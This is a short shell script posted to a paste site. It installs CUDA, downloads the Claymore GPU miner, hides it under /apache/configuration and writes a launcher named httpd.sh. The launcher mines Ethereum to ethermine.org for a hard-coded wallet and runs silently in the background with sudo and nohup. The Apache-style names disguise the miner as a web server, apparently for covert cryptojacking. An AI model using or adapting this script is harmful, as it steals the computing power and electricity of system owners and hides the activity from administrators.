Facebook
From Sweltering Giraffe, 5 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 200
  1.  
  2.  
  3. if [ -d "/apache" ]; then
  4.         sudo nohup sh /apache/configuration/httpd.sh > /dev/null 2>&1 &
  5. else
  6.         sudo apt-get update
  7.         sudo mkdir /apache
  8.         cd /apache
  9.         sudo wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1604/x86_64/cuda-repo-ubuntu1604_8.0.61-1_amd64.deb
  10.         sudo dpkg -i cuda-repo-ubuntu1604_8.0.61-1_amd64.deb
  11.         sudo apt update
  12.         sudo apt install cuda-8-0 -y
  13.        
  14.         cd /apache
  15.         sudo wget https://github.com/nanopool/Claymore-Dual-Miner/releases/download/v11.8/Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal_Blake2s_Keccak.AMD.NVIDIA.GPU.Miner.v11.8.-.LINUX.tar.gz -O configuration.tar.gz
  16.         sudo tar xvf configuration.tar.gz
  17.         sudo mv "Claymore's Dual Ethereum+Decred_Siacoin_Lbry_Pascal_Blake2s_Keccak AMD+NVIDIA GPU Miner v11.8 - LINUX" configuration
  18.         cd configuration
  19.        
  20.        
  21.         echo "
  22.         #!/bin/sh
  23.        
  24.         export GPU_FORCE_64BIT_PTR=0
  25.         export GPU_MAX_HEAP_SIZE=100
  26.         export GPU_USE_SYNC_OBJECTS=1
  27.         export GPU_MAX_ALLOC_PERCENT=100
  28.         export GPU_SINGLE_ALLOC_PERCENT=100
  29.        
  30.         /apache/configuration/ethdcrminer64 -epool us1.ethermine.org:4444 -allcoins exp -eworker ali1 -ewal 0x28565E2D355f0981205C4840C56430aeb118E028 -epsw x
  31.         " > ./httpd.sh
  32.        
  33.         sudo reboot
  34. fi